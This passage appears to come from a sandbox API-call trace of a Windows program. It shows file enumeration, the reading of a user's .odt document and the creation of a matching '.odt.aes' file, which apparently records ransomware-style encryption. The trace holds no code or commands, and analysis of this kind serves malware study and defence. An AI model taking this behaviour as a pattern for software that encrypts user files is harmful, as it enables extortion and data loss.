lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.805] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0097.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0097.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0097.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.805] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.805] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.805] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.805] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.805] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0097.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0097.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0097.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.906] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.906] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.906] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.906] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0097.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0097.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0097.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0097.906] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.907] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0097.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0097.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0097.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0097.907] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.907] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0097.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0097.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0097.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0097.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0097.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0097.908] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.908] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.908] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.908] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.908] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.908] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.908] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.908] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.908] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.908] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.908] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.908] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0097.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0097.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0097.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0097.909] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.909] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.909] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.909] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.909] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.909] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.909] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.909] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.910] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.910] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.910] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.910] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0097.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0097.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0097.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.910] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.910] FindNextFileW (in: hFindFile=0x6fe95d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0097.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0097.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0097.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0097.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0097.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0097.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0097.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0097.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0097.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0097.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0097.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0097.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0097.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0097.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0097.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0097.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0097.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0097.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0097.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0097.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0097.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0097.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0097.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0097.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0097.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe890) returned 1 [0097.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe88c) returned 1 [0097.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe91c) returned 1 [0097.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8dc) returned 1 [0097.951] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp", lpszLongPath=0x6cfe520, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp") returned 0x2d [0097.952] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp", lpszLongPath=0x6cfe520, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp") returned 0x2d [0097.953] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp", lpszLongPath=0x6cfe508, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp") returned 0x2d [0097.954] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp", lpszLongPath=0x6cfe508, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp") returned 0x2d [0097.954] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp\\", lpszLongPath=0x6cfe500, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp\\") returned 0x2e [0097.956] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp", lpszLongPath=0x6cfe508, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp") returned 0x2d [0097.957] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp", lpszLongPath=0x6cfe508, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp") returned 0x2d [0097.957] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp\\", lpszLongPath=0x6cfe500, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp\\") returned 0x2e Thread: id = 74 os_tid = 0xadc Thread: id = 78 os_tid = 0xb78 Thread: id = 79 os_tid = 0xb7c Thread: id = 120 os_tid = 0xb88 Thread: id = 121 os_tid = 0xb8c [0068.885] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0068.886] CoGetContextToken (in: pToken=0x77cf5f4 | out: pToken=0x77cf5f4) returned 0x0 [0068.886] IUnknown:QueryInterface (in: This=0x1ae958, riid=0x6ab25ee8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x77cf618 | out: ppvObject=0x77cf618*=0x1ae964) returned 0x0 [0068.886] IComThreadingInfo:GetCurrentThreadType (in: This=0x1ae964, pThreadType=0x77cf644 | out: pThreadType=0x77cf644*=0) returned 0x0 [0068.886] IUnknown:Release (This=0x1ae964) returned 0x0 [0068.886] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0068.886] CoUninitialize () [0068.901] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0068.932] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0068.964] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0068.993] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.025] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.056] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.087] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.118] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.149] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.181] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.212] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.243] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.276] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.307] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.337] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.369] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.402] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.433] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.483] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.511] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.542] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.574] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.683] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.711] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.744] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.776] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.813] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.861] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.883] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.915] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.947] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0069.977] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.007] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.038] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.069] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.101] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.138] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.165] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.198] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.227] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.264] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.288] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.321] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.350] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.382] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.413] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.444] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.475] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.506] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.538] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.569] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.616] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.649] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.687] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.711] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.740] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.773] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.805] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.835] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.865] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.898] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.929] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.960] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0070.990] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\1BUS.odt", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\1BUS.odt", lpFilePart=0x0) returned 0x57 [0070.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0070.990] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\1BUS.odt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\nvo-4p-kzz-c6do0e\\1bus.odt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c64c260, ftCreationTime.dwHighDateTime=0x1d2fcce, ftLastAccessTime.dwLowDateTime=0x61e26d20, ftLastAccessTime.dwHighDateTime=0x1d2ff19, ftLastWriteTime.dwLowDateTime=0x61e26d20, ftLastWriteTime.dwHighDateTime=0x1d2ff19, nFileSizeHigh=0x0, nFileSizeLow=0x11a2f)) returned 1 [0070.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0071.007] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\1BUS.odt", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\1BUS.odt", lpFilePart=0x0) returned 0x57 [0071.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0071.007] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\1BUS.odt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\nvo-4p-kzz-c6do0e\\1bus.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x354 [0071.007] GetFileType (hFile=0x354) returned 0x1 [0071.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0071.007] GetFileType (hFile=0x354) returned 0x1 [0071.007] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\1BUS.odt.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\1BUS.odt.aes", lpFilePart=0x0) returned 0x5b [0071.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0071.007] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\nVO-4P-KzZ-c6DO0e\\1BUS.odt.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\nvo-4p-kzz-c6do0e\\1bus.odt.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2a8 [0071.009] GetFileType (hFile=0x2a8) returned 0x1 [0071.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0071.009] GetFileType (hFile=0x2a8) returned 0x1 [0071.095] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x77ce1c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0071.096] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x77ce214, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0071.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce664) returned 1 [0071.096] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x77ce6e0 | out: lpFileInformation=0x77ce6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0cc4300, ftCreationTime.dwHighDateTime=0x1cd5cf4, ftLastAccessTime.dwLowDateTime=0xd3d6f890, ftLastAccessTime.dwHighDateTime=0x1d2ec0b, ftLastWriteTime.dwLowDateTime=0xc0cc4300, ftLastWriteTime.dwHighDateTime=0x1cd5cf4, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0071.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce660) returned 1 [0071.223] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0071.231] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x7016890 [0071.231] GetNetworkParams (in: pFixedInfo=0x7016890, pOutBufLen=0x77ce624 | out: pFixedInfo=0x7016890, pOutBufLen=0x77ce624) returned 0x0 [0071.238] LocalFree (hMem=0x7016890) returned 0x0 [0071.238] GetAdaptersAddresses () returned 0x6f [0071.244] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7014730 [0071.244] GetAdaptersAddresses () returned 0x0 [0071.274] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0071.281] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0071.281] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0071.287] LocalFree (hMem=0x1c8b20) returned 0x0 [0071.288] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0071.294] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0071.294] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0071.301] LocalFree (hMem=0x1c8b20) returned 0x0 [0071.301] LocalFree (hMem=0x7014730) returned 0x0 [0071.303] GetBestInterfaceEx (in: pDestAddr=0x293f6dc*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: 